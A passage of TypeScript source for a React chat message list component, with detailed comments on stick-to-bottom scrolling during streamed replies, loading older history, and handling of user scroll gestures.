clearTimeout(w.timer);\n}\n\nconst ChatMessageList = forwardRef<HTMLDivElement, ChatMessageListProps>(\n  (\n    {\n      className,\n      messages,\n      dialogId,\n      isLoading = false,\n      isTyping = false,\n      autoScroll = true,\n      overscrollContain = true,\n      pinBottom = false,\n      showAvatars = true,\n      fullWidth = false,\n      contentClassName,\n      assistantType,\n      approvalVariant,\n      assistantIcon,\n      pendingApprovals,\n      hasNextPage,\n      isFetchingNextPage,\n      onLoadMore,\n      renderEntityCard,\n      resolveContextIcon,\n      renderContextItem,\n      renderMention,\n      renderAfterMessage,\n      onAskSelect,\n      NavLinkAnchor,\n      ...props\n    },\n    ref,\n  ) => {\n    // ---- Library: useStickToBottom -----------------------------------\n    // `resize: 'smooth'` — during streaming, content grows token-by-\n    // token; library uses spring physics to follow the bottom for a\n    // ChatGPT/Claude.ai-like feel (vs jarring instant snaps).\n    // `initial: false` — DON'T auto-scroll on mount; our dialog-change\n    // effect below owns first-paint positioning so re-opening a chat\n    // with prior history lands at the bottom without a smooth-scroll\n    // animation playing over the cold-paint.\n    const { scrollRef, contentRef, scrollToBottom, stopScroll, isAtBottom } = useStickToBottom({\n      resize: 'smooth',\n      initial: false,\n    });\n\n    // ---- Ask cards go stale once answered ------------------------------\n    // A clarification card asks about the turn it belongs to. The moment the\n    // user says ANYTHING after it — clicking an option, or typing their own\n    // reply in the composer — the question is answered and the card is\n    // history: clicking it again would send a stale label into a conversation\n    // that already moved on. So the handler reaches only messages that no user\n    // message follows, which also locks every card in replayed history for\n    // free (each one is followed by the reply it produced).\n    const lastUserMessageIndex = useMemo(() => {\n      for (let i = messages.length - 1; i >= 0; i--) {\n        if (messages[i].role === 'user') return i;\n      }\n      return -1;\n    }, [messages]);\n\n    // ---- Overlay guard: don't move the ground under an open menu -------\n    // A ⋯ menu inside a bubble stays anchored to its trigger. While a reply\n    // streams in, the follow-the-bottom scroll carries that trigger upward and\n    // drags the menu with it, until the menu sits at the panel edge detached\n    // from its card. So: while any overlay in this thread is open, stop\n    // chasing the bottom (the same thing ChatGPT/Claude do once you interact\n    // with the transcript), then catch up on close if we were at the bottom\n    // when it opened. New content still renders — we simply stop scrolling to\n    // it, and the existing \"scroll to bottom\" affordance stays available.\n    const overlayOpenRef = useRef(false);\n    const wasAtBottomOnOpenRef = useRef(false);\n    const isAtBottomRef = useRef(isAtBottom);\n    isAtBottomRef.current = isAtBottom;\n    const handleOverlayOpenChange = useCallback(\n      (hasOpenOverlay: boolean) => {\n        overlayOpenRef.current = hasOpenOverlay;\n        if (hasOpenOverlay) {\n          wasAtBottomOnOpenRef.current = isAtBottomRef.current;\n          // Cancel any in-flight spring so the thread settles immediately\n          // instead of drifting for another few hundred ms under the menu.\n          stopScroll();\n          return;\n        }\n        // Closed again: resume only if the reader was pinned to the bottom\n        // before opening it. Someone who had scrolled up to read history keeps\n        // their position.\n        if (wasAtBottomOnOpenRef.current) {\n          void scrollToBottom({ animation: 'smooth' });\n        }\n      },\n      [scrollToBottom, stopScroll],\n    );\n\n    // ---- Prepend / load-more state (NOT owned by the library) --------\n    const sentinelRef = useRef<HTMLDivElement>(null);\n    const onLoadMoreRef = useRef(onLoadMore);\n    onLoadMoreRef.current = onLoadMore;\n    const isFetchingRef = useRef(isFetchingNextPage);\n    isFetchingRef.current = isFetchingNextPage;\n    // Fresh dialogId for the IntersectionObserver callback (its effect must\n    // not depend on `dialogId` or it would re-create on every dialog switch\n    // mid-stream; the ref keeps the snapshot's dialog tag current).\n    const dialogIdRef = useRef(dialogId);\n    dialogIdRef.current = dialogId;\n\n    // ---- Bottom-follow intent (list-owned lock) ----------------------\n    // The library follows the bottom only while ITS OWN `isAtBottom` flag\n    // is true, and this list's layout loses that flag silently in two\n    // ways:\n    //\n    //  1. **The scroller's own box changes.** The library's\n    //     ResizeObserver watches `contentRef` (INSIDE the scroller) only.\n    //     The streaming loader unmounting and the host's source-chip row\n    //     mounting — both siblings BELOW the scroller (see render) —\n    //     change the scroller's `clientHeight`, which moves the bottom\n    //     without emitting anything the library can observe.\n    //  2. **Resize-induced scroll events read as a user gesture.**\n    //     Fetch-mode entity cards mount as a skeleton and settle to a\n    //     different height; a shrink clamps `scrollTop` down, and the\n    //     library's scroll handler can see that as a scroll-UP and\n    //     permanently escape the lock (its `resizeDifference` guard is a\n    //     `setTimeout(…, 1)` race, so this is intermittent).\n    //\n    // Either way the thread stops following mid-turn. It bites hardest on\n    // card-heavy answers — a slash-command listing (`/getting-started`)\n    // renders a dozen fetch-mode cards with cover images that keep\n    // resolving for SECONDS after the stream ends, so everything after\n    // the lock was lost lands below the fold.\n    //\n    // Fix: this list owns the INTENT. Sending a message (or opening a\n    // dialog) arms it; only a real user scroll-up gesture — or a\n    // top-anchored turn, which deliberately parks elsewhere — disarms it.\n    // While armed, ANY geometry change re-asserts `scrollToBottom`, and\n    // because that call also re-sets the library's `isAtBottom`, a lost\n    // lock self-heals instead of being permanent.\n    const followBottomRef = useRef(false);\n\n    // Drives the jump-to-bottom affordance. Derived from GEOMETRY, not\n    // from the library's `isAtBottom`: that flag is the one this list\n    // loses silently (see above), and a stale `true` would hide the\n    // button in exactly the situation it exists for. Threshold mirrors\n    // the library's own `STICK_TO_BOTTOM_OFFSET_PX`.\n    const [atBottom, setAtBottom] = useState(true);\n\n    // Tracks previous render state for explicit \"force-stick\" decisions\n    // (dialog change, first message, new user message). The library\n    // covers ongoing streaming; these are about INTENT transitions.\n    const prevRenderRef = useRef<{\n      dialogId: string | undefined;\n      messageCount: number;\n      lastMessageId: string | undefined;\n    }>({ dialogId: undefined, messageCount: 0, lastMessageId: undefined });\n\n    // Geometry snapshot captured the instant the top sentinel triggers\n    // onLoadMore (BEFORE the older page lands), applied once when the taller\n    // content commits. Keyed on the LOAD LIFECYCLE, not `messages[0].id`: the\n    // history processor groups consecutive assistant turns into one bubble\n    // keyed by the group's LAST id, so an older page that is all continuation\n    // of the first bubble grows that bubble in place WITHOUT changing its id.\n    // An id-based anchor misses that growth and leaves the reader pinned at\n    // the top (and the still-visible sentinel never re-fires).\n    const loadOlderAnchorRef = useRef<{\n      dialogId: string | undefined;\n      scrollHeight: number;\n      scrollTop: number;\n    } | null>(null);\n\n    // ---- Force-stick: dialog change / first-load / new user message --\n    useEffect(() => {\n      if (!autoScroll) return;\n\n      const dialogChanged = dialogId !== prevRenderRef.current.dialogId;\n      const prevCount = prevRenderRef.current.messageCount;\n      const prevLastId = prevRenderRef.current.lastMessageId;\n      const newCount = messages.length;\n      const currentLastId = messages[messages.length - 1]?.id;\n      prevRenderRef.current = { dialogId, messageCount: newCount, lastMessageId: currentLastId };\n\n      if (dialogChanged) {\n        // Opening a different chat — instant snap to bottom.\n        followBottomRef.current = true;\n        void scrollToBottom({ animation: 'instant', ignoreEscapes: true });\n        return;\n      }\n      if (newCount > 0 && prevCount === 0) {\n        // First message arrived in an empty chat — instant snap.\n        followBottomRef.current = true;\n        void scrollToBottom({ animation: 'instant', ignoreEscapes: true });\n        return;\n      }\n      if (newCount > prevCount) {\n        // Scan the new tail for any user-role message. Handles the\n        // coalesced-render case where optimistic-user + server-\n        // assistant land in the same diff (last is assistant, but a\n        // user message DID arrive). When the user just sent a\n        // message, they expect their bubble pinned to the bottom,\n        // regardless of where they were scrolled.\n        //\n        // The tail must be located via the previous LAST message id,\n        // not `slice(prevCount)`: when load-older PREPENDS a page,\n        // count grows but the new messages are at the HEAD —\n        // `slice(prevCount)` would return already-rendered tail\n        // messages (which contain user bubbles) and force-scroll the\n        // reader away from the older page they just loaded. With the\n        // id-based slice a pure prepend yields an empty tail → no\n        // scroll, and the prepend-anchoring effect below keeps their\n        // viewport position.\n        const prevLastIdx = prevLastId ? messages.findIndex(m => m.id === prevLastId) : -1;\n        const newSlice = prevLastIdx >= 0 ? messages.slice(prevLastIdx + 1) : messages.slice(prevCount);\n        const hasNewUser = newSlice.some(m => m.role === 'user');\n        // An open overlay suppresses even this one: `ignoreEscapes` would yank\n        // the thread out from under it — and with it the follow intent, which\n        // would re-assert the jump on every later resize. A user who just sent\n        // a message with a menu open is rare; a menu jumping away mid-click is\n        // not worth it.\n        if (hasNewUser && !overlayOpenRef.current) {\n          // Arms the follow intent for the WHOLE turn: the answer's\n          // async growth (attachment images, streamed tokens, entity\n          // cards resolving out of their skeletons long after the\n          // stream ends) is re-asserted by the follow effect below.\n          // This replaces the old per-`<img>` `load`-handler hack —\n          // same defect class, but the ResizeObserver sees every\n          // source of growth, not just images present at send time.\n          followBottomRef.current = true;\n          void scrollToBottom({ animation: 'instant', ignoreEscapes: true });\n        }\n        // Assistant-only new messages → the library's resize-watch\n        // already keeps the bottom locked when the user hasn't\n        // escaped. No explicit call needed; spring animation runs.\n      }\n    }, [autoScroll, messages, dialogId, scrollToBottom]);\n\n    // ---- Follow the bottom while the intent is armed -----------------\n    // Installs once per mount (all deps are stable). See the\n    // `followBottomRef` comment above for WHY this exists.\n    useEffect(() => {\n      if (!autoScroll) return undefined;\n      const scroller = scrollRef.current;\n      const content = contentRef.current;\n      if (!scroller || !content) return undefined;\n\n      // Re-assert on ANY geometry change, WITH `ignoreEscapes` — because\n      // this list, not the library, owns the follow intent.\n      //\n      // Without the flag the re-assert is a no-op the moment the library's\n      // `escapedFromLock` is set, and it does NOT \"re-set isAtBottom\" the way\n      // this comment used to claim: `handleScroll` only clears the escape\n      // after a scroll it reads as DOWNWARD, and a gated animation never\n      // produces one. Since the escape is set by exactly the false positives\n      // this lock exists to survive — a resize clamping `scrollTop`, a\n      // wheel doing an inertial nudge — the thread followed the first\n      // message (those calls pass `ignoreEscapes: true`) and then silently\n      // stopped following for the rest of the session.\n      //\n      // Handing control back on a REAL gesture is `disarm()` below: wheel-up,\n      // ArrowUp/PageUp/Home, touch-drag down, and scrollbar drags. Those run\n      // before this and clear the intent, so an armed re-assert only ever\n      // fights the library's own heuristic, never the user.\n      //\n      // Cheap to call repeatedly — the library returns the in-flight\n      // promise when an animation with the same behaviour is running.\n      const measure = () => {\n        const distance = scroller.scrollHeight - scroller.scrollTop - scroller.clientHeight;\n        setAtBottom(distance <= BOTTOM_THRESHOLD_PX);\n      };\n\n      const reassert = () => {\n        // `wait: true` + `duration` are NOT decoration — they are the library's\n        // COALESCING contract, and this call fires once per growth frame.\n        //\n        // Without `wait`, `scrollToBottom` opens with `state.animation =\n        // undefined` unconditionally, so the \"an animation with this behaviour\n        // is already running, return its promise\" check can never hit: every\n        // frame spawned ANOTHER independent spring chain, all of them stepping\n        // the same shared `state.velocity` / `state.accumulated`. They compound\n        // and fight, which is why a smooth re-assert misbehaved where an\n        // `instant` one (it just writes the target, so extra chains are\n        // idempotent) looked fine. With `wait: true` the animation survives,\n        // the identity check hits, and every later re-assert folds into the\n        // one chain already in flight.\n        //\n        // `duration` opens the retain window in which the chain refreshes\n        // `startTarget` from `calculatedTargetScrollTop` each frame — that is\n        // what makes ONE spring track a bottom that keeps moving, instead of\n        // finishing against the height the thread had when the call was made.\n        //\n        // `setIsAtBottom(true)` still runs on EVERY call, before the coalescing\n        // return, so a folded-in re-assert keeps doing the job it exists for:\n        // healing the library's lock after this list's layout silently loses it.\n        //\n        // Suppressed while a load-older fetch has an anchor pending: that\n        // prepend's growth belongs to the anchoring layout effect below, which\n        // is restoring the reader's position in the page they just loaded.\n        // Following it would drag them straight back to the live end and make\n        // paging through history impossible.\n        if (followBottomRef.current && !loadOlderAnchorRef.current) {\n          void scrollToBottom({\n            animation: 'smooth',\n            ignoreEscapes: true,\n            wait: true,\n            duration: FOLLOW_RETAIN_MS,\n          });\n        }\n        // Measured on every geometry change, follow armed or not: a\n        // sibling growing below the scroller moves the bottom without\n        // any scroll event, and the button has to notice.\n        measure();\n      };\n\n      const ro = new ResizeObserver(reassert);\n      ro.observe(content); // tokens, entity cards, images\n      ro.observe(scroller); // streaming loader / source chips below it\n\n      // GROWTH WATCH — the load-bearing one, because the ResizeObserver above\n      // is not reliable for this list.\n      //\n      // `content` is a SNAPSHOT taken when this effect installed, and the deps\n      // are all stable, so it is never refreshed. React swaps that node out\n      // (skeleton → thread, host re-layouts), after which the observer is\n      // holding a detached element and sees nothing at all. Observed symptom:\n      // the callback fires ONLY on a window resize — that is the scroller,\n      // whose own box does change — while streamed tokens grow the real\n      // content silently, and the thread never follows.\n      //\n      // A poll on `scrollHeight` sidesteps the whole question of WHICH node is\n      // live: it reads the scroller (always mounted, it owns the listeners)\n      // and reacts to growth from any source — tokens, images settling, cards\n      // resolving. Gated on the intent, so it costs one rAF-tick comparison\n      // per frame only while actually following, and stops the moment a\n      // gesture disarms.\n      let growthRaf = 0;\n      let lastScrollHeight = scroller.scrollHeight;\n      const watchGrowth = () => {\n        growthRaf = requestAnimationFrame(watchGrowth);\n\n        const height = scroller.scrollHeight;\n        if (height === lastScrollHeight) return;\n        lastScrollHeight = height;\n        reassert();\n      };\n      growthRaf = requestAnimationFrame(watchGrowth);\n\n      // --- user-intent disarm ---------------------------------------\n      // Only a deliberate move AWAY from the bottom releases the lock.\n      // Resize-derived scroll events are NOT gestures, which is exactly\n      // the distinction the library's heuristic gets wrong.\n      const disarm = () => {\n        followBottomRef.current = false;\n        // MUST cancel the in-flight spring too: an armed re-assert runs with\n        // `ignoreEscapes`, and the library pins `scrollTop` for the whole\n        // duration of such an animation — so clearing the intent alone would\n        // leave the user's gesture fighting a scroll they cannot win until it\n        // settles. `stopScroll` ends it on the spot, handing the scroller\n        // straight back.\n        stopScroll();\n      };\n      const onWheel = (e: WheelEvent) => {\n        if (e.deltaY < 0) disarm();\n      };\n      const onKeyDown = (e: KeyboardEvent) => {\n        if (e.key === 'ArrowUp' || e.key === 'PageUp' || e.key === 'Home') disarm();\n      };\n      let touchY: number | null = null;\n      const onTouchStart = (e: TouchEvent) => {\n        touchY = e.touches[0]?.clientY ?? null;\n      };\n      const onTouchMove = (e: TouchEvent) => {\n        const y = e.touches[0]?.clientY;\n        if (y == null || touchY == null) return;\n        if (y > touchY) disarm(); // finger travels DOWN → content moves up\n        touchY = y;\n      };\n      // Scrollbar drag emits neither wheel nor touch — a scrollTop\n      // DECREASE while the pointer is held down is the same intent.\n      //\n      // ALL pointer listeners are on `window`, deliberately. The scroller is a\n      // native `overflow-y-auto` div (OverlayScrollbars was reverted in #1512),\n      // so its native scrollbar IS part of `scroller` and a `pointerdown` on the\n      // thumb does reach it — but `window` is a safe superset that also survives\n      // any future host component (or a return to a custom-scrollbar library\n      // that renders the thumb OUTSIDE the viewport) without stranding\n      // `pointerDown` at `false` and reintroducing the yank-back-mid-drag bug.\n      //\n      // The POINTER listeners use CAPTURE phase, so the guarantee is structural\n      // rather than contingent on nothing between us and `window` ever calling\n      // `stopPropagation` on the pointer path.\n      //\n      // `blur` deliberately does NOT use capture. Focus events don't bubble\n      // but they DO capture, so a capture listener on `window` fires for\n      // EVERY element blur in the document (the focus-delegation idiom) —\n      // any focus change during a hold, e.g. the chat input blurring as the\n      // user presses down on the scrollbar, would clear `pointerDown` and\n      // re-open the very yank-back bug this block prevents. A TRUE window\n      // blur targets `window` itself, so an at-target (bubble-phase)\n      // listener still receives it: capture buys nothing and costs\n      // correctness. Verified in jsdom: descendant blur reaches the capture\n      // listener only; window blur reaches both.\n      //\n      // `pointerDown` must be cleared by every way a drag can END, not just\n      // `pointerup`: a button released OUTSIDE the window, or the tab losing\n      // focus mid-drag, delivers no `pointerup` at all and would leave the\n      // flag stuck true. From then on ANY resize-induced scrollTop clamp — a\n      // fetch-mode card settling from skeleton to a shorter height, i.e. the\n      // exact case this whole block exists for — reads as a scroll-up gesture\n      // and drops the lock. Same for merely HOLDING the button down (text\n      // selection) while a card shrinks. Hence `pointercancel` + window\n      // `blur`.\n      let pointerDown = false;\n      let lastScrollTop = scroller.scrollTop;\n      const onPointerDown = () => {\n        pointerDown = true;\n      };\n      // A drag that RELEASES at the live end expresses the same intent as\n      // clicking jump-to-bottom. The scroll events during that drag can't\n      // re-arm (see the gate in `onScroll`), and releasing the button emits\n      // no further `scroll`, so the re-arm is evaluated once here, when the\n      // gesture is actually over.\n      const rearmIfAtBottom = () => {\n        if (followBottomRef.current) return;\n        const distance = scroller.scrollHeight - scroller.scrollTop - scroller.clientHeight;\n        if (distance <= BOTTOM_THRESHOLD_PX) followBottomRef.current = true;\n      };\n      const endPointer = () => {\n        pointerDown = false;\n        rearmIfAtBottom();\n      };\n      const onScroll = () => {\n        const st = scroller.scrollTop;\n        if (pointerDown && st < lastScrollTop) disarm();\n        lastScrollTop = st;\n        // Landing at the bottom by hand is the SAME expressed intent as\n        // clicking jump-to-bottom, so it re-arms a lock an earlier scroll-up\n        // released. Without it the thread sits at-bottom (button hidden,\n        // because `atBottom` is true) and then silently drifts away as the\n        // answer grows.\n        //\n        // Gated on the drag being OVER (`!pointerDown`). A mid-drag `scroll`\n        // is not a gesture that has ended, and a short scrollbar drag that\n        // starts at the live end stays inside the 70px band — so re-arming\n        // here would undo the `disarm()` two lines above on the very same\n        // event and yank the reader back down mid-drag. Releasing the button\n        // at the bottom still re-arms on the next scroll (or, if none\n        // follows, on the next deliberate return to the end).\n        if (\n          !pointerDown &&\n          !followBottomRef.current &&\n          scroller.scrollHeight - st - scroller.clientHeight <= BOTTOM_THRESHOLD_PX\n        ) {\n          followBottomRef.current = true;\n        }\n        measure();\n      };\n      measure();\n\n      const winCapture = { capture: true, passive: true } as const;\n\n      scroller.addEventListener('wheel', onWheel, { passive: true });\n      scroller.addEventListener('keydown', onKeyDown);\n      scroller.addEventListener('touchstart', onTouchStart, { passive: true });\n      scroller.addEventListener('touchmove', onTouchMove, { passive: true });\n      window.addEventListener('pointerdown', onPointerDown, winCapture);\n      scroller.addEventListener('scroll', onScroll, { passive: true });\n      window.addEventListener('pointerup', endPointer, winCapture);\n      window.addEventListener('pointercancel', endPointer, winCapture);\n      // Bubble phase, NOT capture — see the note above.\n      window.addEventListener('blur', endPointer, { passive: true });\n\n      return () => {\n        ro.disconnect();\n        cancelAnimationFrame(growthRaf);\n        scroller.removeEventListener('wheel', onWheel);\n        scroller.removeEventListener('keydown', onKeyDown);\n        scroller.removeEventListener('touchstart', onTouchStart);\n        scroller.removeEventListener('touchmove', onTouchMove);\n        // `capture` must match the add call or the listener is not removed.\n        window.removeEventListener('pointerdown', onPointerDown, { capture: true });\n        scroller.removeEventListener('scroll', onScroll);\n        window.removeEventListener('pointerup', endPointer, { capture: true });\n        window.removeEventListener('pointercancel', endPointer, { capture: true });\n        // Added WITHOUT capture — the remove must match.\n        window.removeEventListener('blur', endPointer);\n      };\n      // `isLoading` IS load-bearing here, even though the body never reads it.\n      // On the loading branch this component returns the skeleton, so\n      // `scrollRef.current` is null and the bail-out above fires. With all four\n      // other deps identity-stable (`autoScroll` plus three `[]`-memoized values\n      // from `useStickToBottom`), the effect then never ran again: no\n      // ResizeObserver, no wheel/touch/keyboard escape hatches, `atBottom` stuck\n      // at its initial `true` so the jump-to-bottom button could not render, and\n      // the follow lock never re-asserted — for the rest of the component's\n      // life. A `false → true → false` round trip (host loads another page or\n      // dialog) also swaps the scroller element, so the stale closure kept\n      // observing and listening on DETACHED nodes.\n    }, [autoScroll, scrollRef, contentRef, scrollToBottom, stopScroll, isLoading]);\n\n    // ---- Passive-demo hard pin (pinBottom) ---------------------------\n    // Scripted in-page replays (the Fae/Mingo demos) have no human at the\n    // keyboard, so the newest streamed content must ALWAYS sit at the\n    // bottom. `useStickToBottom`'s smart follow only tracks while the\n    // viewer is \"at bottom\", which is unreliable for an assistant-only\n    // stream from a cold, non-bottom mount (the exact bug where the last\n    // reply landed below the fold). When `pinBottom` is set we snap the\n    // scroller to its full height — the SAME mechanism for BOTH demo\n    // surfaces, so Fae and Mingo behave 1:1.\n    //\n    // CRUCIAL: only re-pin when the content HEIGHT actually changed (a\n    // streamed token appended, or the conversation swapped/reset). A parent\n    // that recreates props on every render — EmbeddableChat in previewMode\n    // rebuilds its scripted state each render, churning the `messages` array\n    // identity — would otherwise fire this effect on every re-render and snap\n    // the scroller back to the bottom, trapping the visitor and blocking\n    // internal scroll (Mingo couldn't scroll while Fae, with stable memoized\n    // props, could). Skipping the pin when the height is UNCHANGED means an\n    // idle re-render leaves the scroller alone, so once the stream settles the\n    // visitor can scroll up in BOTH surfaces; a real growth (streaming) or a\n    // shrink (a new conversation) still re-pins to the fresh bottom.\n    // `useLayoutEffect` so the write lands before paint (no visible jump).\n    // Pair with `autoScroll={false}` so the library's spring doesn't fight.\n    const pinPrevHeightRef = useRef(0);\n    useLayoutEffect(() => {\n      if (!pinBottom) {\n        pinPrevHeightRef.current = 0;\n        return;\n      }\n      const el = scrollRef.current;\n      if (!el) return;\n      if (el.scrollHeight === pinPrevHeightRef.current) return;\n      pinPrevHeightRef.current = el.scrollHeight;\n      el.scrollTop = el.scrollHeight;\n    }, [pinBottom, messages, isTyping, pendingApprovals, scrollRef]);\n\n    // ---- Prepend anchoring (load-older) ------------------------------\n    // The library doesn't preserve user position when content grows ABOVE\n    // the viewport. We do: from the pre-load geometry snapshot (taken in the\n    // sentinel callback), add the height the list gained and re-pin scrollTop\n    // so the message the user was reading stays put. `useLayoutEffect` so the\n    // write lands before paint (no visible jump). Covers both a pure prepend\n    // (new ids on top) and a boundary-merge (first bubble grows in place) —\n    // it measures total height delta, not message identity.\n    useLayoutEffect(() => {\n      const el = scrollRef.current;\n      const anchor = loadOlderAnchorRef.current;\n      if (!el || !anchor) return;\n      // Dialog switched out from under a pending load — abandon; the\n      // force-stick effect owns the new dialog's position.\n      if (anchor.dialogId !== dialogId) {\n        loadOlderAnchorRef.current = null;\n        return;\n      }\n      // Hold the anchor across the intermediate renders between firing\n      // onLoadMore and the older page committing (the isFetchingNextPage\n      // flip, and in some hosts a two-stage store update) — those don't grow\n      // the list. Apply on the first render where it actually grew taller,\n      // which is the prepend (new ids on top) or a boundary-merge (first\n      // bubble grew in place). Same-id boundary-merge is why this can't key\n      // on message count.\n      const addedHeight = el.scrollHeight - anchor.scrollHeight;\n      if (addedHeight <= 0) return;\n      loadOlderAnchorRef.current = null;\n      el.scrollTop = anchor.scrollTop + addedHeight;\n    }, [messages, dialogId, scrollRef]);\n\n    // ---- Per-message scrollAnchor (server-driven) --------------------\n    // Server emits `scrollAnchor: 'top'` on the metadata leading frame\n    // for display-action answers; default tail behaviour is preserved\n    // for every other path that omits the field.\n    //\n    // Per-id memoized ref callbacks preserve callback identity across\n    // the token-streaming re-renders that React.memo lets through —\n    // a fresh closure each render would detach/reattach the ref on\n    // every commit and could race the useLayoutEffect's element lookup.\n    const messageElsRef = useRef<Map<string, HTMLElement>>(new Map());\n    const refCallbacksRef = useRef<Map<string, (el: HTMLElement | null) => void>>(new Map());\n\n    const getRegisterMessageEl = (id: string): ((el: HTMLElement | null) => void) => {\n      let cb = refCallbacksRef.current.get(id);\n      if (cb) return cb;\n      cb = el => {\n        if (el) {\n          messageElsRef.current.set(id, el);\n        } else {\n          messageElsRef.current.delete(id);\n          refCallbacksRef.current.delete(id);\n        }\n      };\n      refCallbacksRef.current.set(id, cb);\n      return cb;\n    };\n\n    // Lazy-init: seed ONLY messages whose content is populated. Persisted\n    // reload has full bodies → all ids seeded → no scroll-replay on cold\n    // paint. A fresh turn's empty assistant placeholder (appended by\n    // useChat before streaming) is intentionally excluded so the top-\n    // anchor effect can fire when its body lands.\n    const scrolledIdsRef = useRef<Set<string> | null>(null);\n    if (scrolledIdsRef.current === null) {\n      scrolledIdsRef.current = new Set(messages.filter(m => hasNonEmptyContent(m.content)).map(m => m.id));\n    }\n\n    // Active async-growth watcher. Stored in a ref (NOT in the effect's\n    // cleanup) so subsequent `messages` mutations during the 2s settle\n    // window don't tear it down. Cleared only when a new top-anchor turn\n    // supersedes it, or on component unmount.\n    const anchorWatcherRef = useRef<AnchorWatcher | null>(null);\n\n    useLayoutEffect(() => {\n      if (!autoScroll) return;\n      // Top-anchored display turns also move the ground — same guard.\n      if (overlayOpenRef.current) return;\n      const last = messages[messages.length - 1];\n      if (!last || last.role !== 'assistant' || last.scrollAnchor !== SCROLL_ANCHOR.TOP) return;\n      // Metadata frame arrives BEFORE body. Wait for content so we don't\n      // snap an empty bubble and burn the one-shot.\n      if (!hasNonEmptyContent(last.content)) return;\n      // Seeded during render above, so this is never null by the time a layout\n      // effect runs — but a guard-and-return costs nothing and fits the chain.\n      const seen = scrolledIdsRef.current;\n      if (!seen || seen.has(last.id)) return;\n      const node = messageElsRef.current.get(last.id);\n      const container = scrollRef.current;\n      if (!node || !node.isConnected || !container) return;\n      seen.add(last.id);\n      // `stopScroll` MUST precede scrollIntoView — the imperative scrollTop\n      // write is what the library's geometry tracker uses to flip\n      // `escapedFromLock`, so any in-flight scrollToBottom spring is\n      // first cancelled. The list-owned follow intent is released for the\n      // same reason: this turn deliberately parks at the message TOP, so\n      // its own async growth must NOT drag the reader to the bottom.\n      followBottomRef.current = false;\n      stopScroll();\n      // Instant (not smooth): the markdown body contains async <img>\n      // children whose loads race a 300ms smooth animation and leave\n      // the viewport mid-article. Instant snap dodges the race; the\n      // ResizeObserver below re-anchors any post-snap growth.\n      node.scrollIntoView({ block: 'start' });\n\n      // Tear down any prior watcher (rapid back-to-back display turns).\n      disposeAnchorWatcher(anchorWatcherRef.current);\n      // Re-anchor on async growth for ~2s. Bail if the user scrolls\n      // meaningfully past the baseline so we don't fight their reading\n      // position. NOTE: the watcher lives in a ref, not in the effect's\n      // cleanup, so subsequent `messages` mutations during streaming\n      // don't kill it.\n      const baselineScrollTop = container.scrollTop;\n      const ro = new ResizeObserver(() => {\n        if (!node.isConnected) {\n          ro.disconnect();\n          return;\n        }\n        if (container.scrollTop > baselineScrollTop + 200) {\n          ro.disconnect();\n          return;\n        }\n        node.scrollIntoView({ block: 'start' });\n      });\n      ro.observe(node);\n      const timer = setTimeout(() => {\n        ro.disconnect();\n        // Guard against nulling a successor watcher mid-flight.\n        if (anchorWatcherRef.current?.id === last.id) {\n          anchorWatcherRef.current = null;\n        }\n      }, 2000);\n      anchorWatcherRef.current = { id: last.id, ro, timer };\n    }, [messages, autoScroll, stopScroll, scrollRef]);\n\n    // Component-unmount cleanup for the active watcher.\n    useEffect(\n      () => () => {\n        disposeAnchorWatcher(anchorWatcherRef.current);\n        anchorWatcherRef.current = null;\n      },\n      [],\n    );\n\n    // ---- Load-more (infinite-scroll UP) ------------------------------\n    // Distinct from stick-to-bottom; uses its own IntersectionObserver\n    // on the top sentinel.\n    //\n    // `isFetchingNextPage` is in the deps so the observer is RE-CREATED when a\n    // fetch completes: IntersectionObserver fires no new callback while an\n    // element stays continuously intersecting, so after an older page lands\n    // with the sentinel still in view (small prepend, or rootMargin overlap)\n    // nothing would re-trigger until the user scrolled it out and back in.\n    // Re-observing re-evaluates the current intersection and fires again if\n    // the sentinel is still visible — load continues until it's pushed out.\n    useEffect(() => {\n      const scrollContainer = scrollRef.current;\n      const sentinelElement = sentinelRef.current;\n      if (!scrollContainer || !sentinelElement || !hasNextPage) return undefined;\n\n      const observer = new IntersectionObserver(\n        entries => {\n          const entry = entries[0];\n          if (!entry) return;\n          if (entry.isIntersecting && !isFetchingRef.current) {\n            // Snapshot pre-load geometry so the prepend-anchoring layout\n            // effect can re-pin scrollTop once the taller content commits.\n            const el = scrollRef.current;\n            if (el) {\n              loadOlderAnchorRef.current = {\n                dialogId: dialogIdRef.current,\n                scrollHeight: el.scrollHeight,\n                scrollTop: el.scrollTop,\n              };\n            }\n            onLoadMoreRef.current?.();\n          }\n        },\n        { root: scrollContainer, rootMargin: '200px', threshold: 0.1 },\n      );\n      observer.observe(sentinelElement);\n      return () => observer.disconnect();\n      // `isLoading` is load-bearing for the SAME reason as the follow effect and\n      // the imperative handle: the loading branch returns the skeleton, so both\n      // the scroller and the sentinel are unmounted and this effect bails at the\n      // guard above. Whether it ever ran again then depended on `hasNextPage`\n      // happening to flip in the same commit that cleared `isLoading` — true for\n      // a plain `useInfiniteQuery` (both derive from the first page landing),\n      // FALSE wherever `isLoading` is a composite that outlives the messages\n      // query (the ticket view ANDs in its dialog query). In that case\n      // `hasNextPage` went true while the skeleton was still up, the effect ran\n      // once against null refs, and nothing re-ran it afterwards: no\n      // IntersectionObserver was ever created and infinite-scroll-up was dead\n      // for the life of the component.\n    }, [hasNextPage, isFetchingNextPage, scrollRef, isLoading]);\n\n    // Expose the scroll container ref to parents that need it (rare,\n    // but the existing public contract). Library's `scrollRef` is a\n    // MutableRefObject<HTMLElement> so we cast to the public type.\n    // `isLoading` for the same reason as the follow effect: on the loading\n    // branch `scrollRef.current` is null, and without it in the deps a parent\n    // that mounted this list while loading held `null` forever.\n    useImperativeHandle(ref, () => scrollRef.current as HTMLDivElement, [scrollRef, isLoading]);\n\n    // Ref adapters — MEMOIZED, and declared above the early return so the hook\n    // order is unconditional (see CLAUDE.md rule 3).\n    //\n    // `useStickToBottom` treats these as ref callbacks: React invokes\n    // `ref(null)` then `ref(el)` whenever the callback IDENTITY changes, and the\n    // library responds by disconnecting its ResizeObserver and building a fresh\n    // one (plus removing/re-adding its scroll and wheel listeners). A plain arrow\n    // per render therefore churned all of that on EVERY committed frame — one per\n    // batched delta flush, so ~60/s while streaming — and, because the rebuild\n    // resets the library's `previousHeight` to undefined, it permanently pinned\n    // the library to its `initial` animation and never used `resize`, inverting\n    // the policy configured above.\n    //\n    // The library types its refs against `HTMLElement` (broader than\n    // `HTMLDivElement`) and `MutableRefObject` is INVARIANT in its type\n    // parameter, so a direct assignment into the JSX `Ref<HTMLDivElement>` slot\n    // fails type-check; a callback is contravariant in its argument, so this\n    // adapter type-checks AND preserves the library's mount bookkeeping (the\n    // intersection `MutableRefObject<T> & RefCallback<T>` means calling\n    // `scrollRef(el)` both writes 